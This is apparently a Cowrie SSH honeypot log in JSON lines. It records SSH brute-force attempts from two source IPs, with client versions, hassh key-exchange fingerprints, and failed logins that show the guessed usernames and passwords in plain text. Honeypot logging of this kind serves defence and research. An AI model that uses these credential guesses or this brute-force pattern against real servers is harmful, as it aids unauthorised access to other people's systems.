{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:41.500139Z","src_ip":"60.165.124.241","session":"86bc6e5fd546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45954,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d0099519a2c","protocol":"ssh","message":"New connection: 2.57.122.208:45954 (159.203.135.109:22) [session: 6d0099519a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:53.248273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:53.480938Z","src_ip":"2.57.122.208","session":"6d0099519a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:53.492460Z","src_ip":"2.57.122.208","session":"6d0099519a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tp123456","message":"login attempt [root/tp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:53.610402Z","src_ip":"60.165.124.241","session":"86bc6e5fd546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:54.893142Z","src_ip":"2.57.122.208","session":"6d0099519a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:55.492759Z","src_ip":"60.165.124.241","session":"86bc6e5fd546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:56.305451Z","src_ip":"2.57.122.208","session":"6d0099519a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38174,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a0670769a3","protocol":"ssh","message":"New connection: 60.165.124.241:38174 (10.17.0.5:22) [session: 43a0670769a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:56.758818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:56.763456Z","src_ip":"60.165.124.241","session":"43a0670769a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:57.030221Z","src_ip":"60.165.124.241","session":"43a0670769a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root01","message":"login attempt [root/root01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:00.089596Z","src_ip":"60.165.124.241","session":"43a0670769a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:01.359622Z","src_ip":"60.165.124.241","session":"43a0670769a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44806,"dst_ip":"10.17.0.5","dst_port":22,"session":"66fc6bc6debc","protocol":"ssh","message":"New connection: 60.165.124.241:44806 (10.17.0.5:22) [session: 66fc6bc6debc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:01.604549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:01.609847Z","src_ip":"60.165.124.241","session":"66fc6bc6debc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:03.387941Z","src_ip":"60.165.124.241","session":"66fc6bc6debc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88888888","message":"login attempt [root/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:04.857107Z","src_ip":"60.165.124.241","session":"66fc6bc6debc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:06.726361Z","src_ip":"60.165.124.241","session":"66fc6bc6debc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50730,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa678eadbe9c","protocol":"ssh","message":"New connection: 60.165.124.241:50730 (10.17.0.5:22) [session: fa678eadbe9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:06.983973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:06.989049Z","src_ip":"60.165.124.241","session":"fa678eadbe9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:07.246109Z","src_ip":"60.165.124.241","session":"fa678eadbe9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssW0rD","message":"login attempt [root/P@ssW0rD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:08.730189Z","src_ip":"60.165.124.241","session":"fa678eadbe9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:09.973065Z","src_ip":"60.165.124.241","session":"fa678eadbe9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54494,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddeb30be7f4c","protocol":"ssh","message":"New connection: 60.165.124.241:54494 (10.17.0.5:22) [session: ddeb30be7f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:10.202607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:10.207700Z","src_ip":"60.165.124.241","session":"ddeb30be7f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:10.443931Z","src_ip":"60.165.124.241","session":"ddeb30be7f4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fausto","message":"login attempt [root/fausto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:11.157842Z","src_ip":"60.165.124.241","session":"ddeb30be7f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:12.397394Z","src_ip":"60.165.124.241","session":"ddeb30be7f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57240,"dst_ip":"10.17.0.5","dst_port":22,"session":"99ac036d7879","protocol":"ssh","message":"New connection: 60.165.124.241:57240 (10.17.0.5:22) [session: 99ac036d7879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:12.646715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:12.652623Z","src_ip":"60.165.124.241","session":"99ac036d7879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:12.898109Z","src_ip":"60.165.124.241","session":"99ac036d7879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin02","message":"login attempt [root/admin02] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:13.641445Z","src_ip":"60.165.124.241","session":"99ac036d7879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:14.892628Z","src_ip":"60.165.124.241","session":"99ac036d7879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60066,"dst_ip":"10.17.0.5","dst_port":22,"session":"977f1b80475e","protocol":"ssh","message":"New connection: 60.165.124.241:60066 (10.17.0.5:22) [session: 977f1b80475e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:15.141886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:15.147627Z","src_ip":"60.165.124.241","session":"977f1b80475e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:15.405064Z","src_ip":"60.165.124.241","session":"977f1b80475e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Liu@123456","message":"login attempt [root/Liu@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:16.182835Z","src_ip":"60.165.124.241","session":"977f1b80475e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:17.435531Z","src_ip":"60.165.124.241","session":"977f1b80475e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34912,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cfc224dc7b6","protocol":"ssh","message":"New connection: 60.165.124.241:34912 (10.17.0.5:22) [session: 4cfc224dc7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:17.674128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:17.678798Z","src_ip":"60.165.124.241","session":"4cfc224dc7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:17.930819Z","src_ip":"60.165.124.241","session":"4cfc224dc7b6","protocol":"ssh"}
